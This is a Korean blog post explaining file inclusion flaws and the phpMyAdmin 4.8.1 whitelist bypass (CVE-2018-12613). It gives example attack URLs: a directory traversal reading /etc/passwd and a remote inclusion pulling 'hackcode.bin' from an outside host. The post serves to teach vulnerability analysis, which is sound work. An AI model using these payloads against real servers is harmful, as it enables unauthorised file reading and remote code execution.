phpmyadmin File Inclusion 취약점(CVE-2018-12613)

in #kr6 years ago
  • 악의적인 사용을 금합니다. 법적 책임은 본인에게 있습니다.
  • 무단 도용/복제를 급합니다. 본 글의 저작권은 huti에게 있습니다.

URL에 파일 경로를 포함하면, 사용자가 웹서버에 있는 파일을 열람할 수 있는 취약점이다.
File Inclusion 취약점을 이용한 공격은 LFI(Local File Inclusion)와 RFI(Remote File Inclusion)로 나뉜다.

  1. LFI(Local File Inclusion) 공격
    LFI 공격은 Directory Traversal 취약점을 많이 이용한다.
    Directory Traversal 취약점은 브라우저로 웹서버의 특정 경로에 접근해 디렉토리를 이동할 수 있는 취약점이다.
    다음은 Directory Traversal 취약점을 활용한 LFI 공격 예시이다.

http://example.com/index.php?file=../../../../etc/passwd

이전 경로로 이동하는 ../을 이용해 /etc/passwd 파일을 열람하려는 공격이다.

  1. RFI(Remote File Inclusion) 공격
    RFI 공격은 URL 인자를 이용해 외부(원격) 웹서버의 파일에 접근하는 공격이다.
    다음은 RFI 공격의 예시이다.

http://example.com/index.php?language=http://test.com/hackcode.bin

  1. phpmyadmin LFI 취약점 분석

phpmyadmin 4.8.1은 LFI 공격에 취약하다.
다음은 LFI 공격 성공 화면이다.

이 취약점은 URL Query String의 유효성을 검증하는 부분에서 발생한다.

index.php 코드를 보면, target 매개 변수를 검증하는 부분이 있다.(Core::checkPageValidity)
target 매개 변수를 검증할 때, core.php의 checkpagevalidity 함수를 이용한다.

core.php 코드를 보면, checkPageValidity 함수에서 유효성 검증을 한다.

url을 decodeing하는 부분에 %3f를 넣으면, %3f가 ?으로 변환되며, ? 앞에 whitelist가 오게 되면 true를 반환한다.
즉, 이 부분에서 필터링이 제대로 되지 않아 LFI 취약점이 발생하는 것이다.

다음은 core.php에 있는 whitelist 목록이다.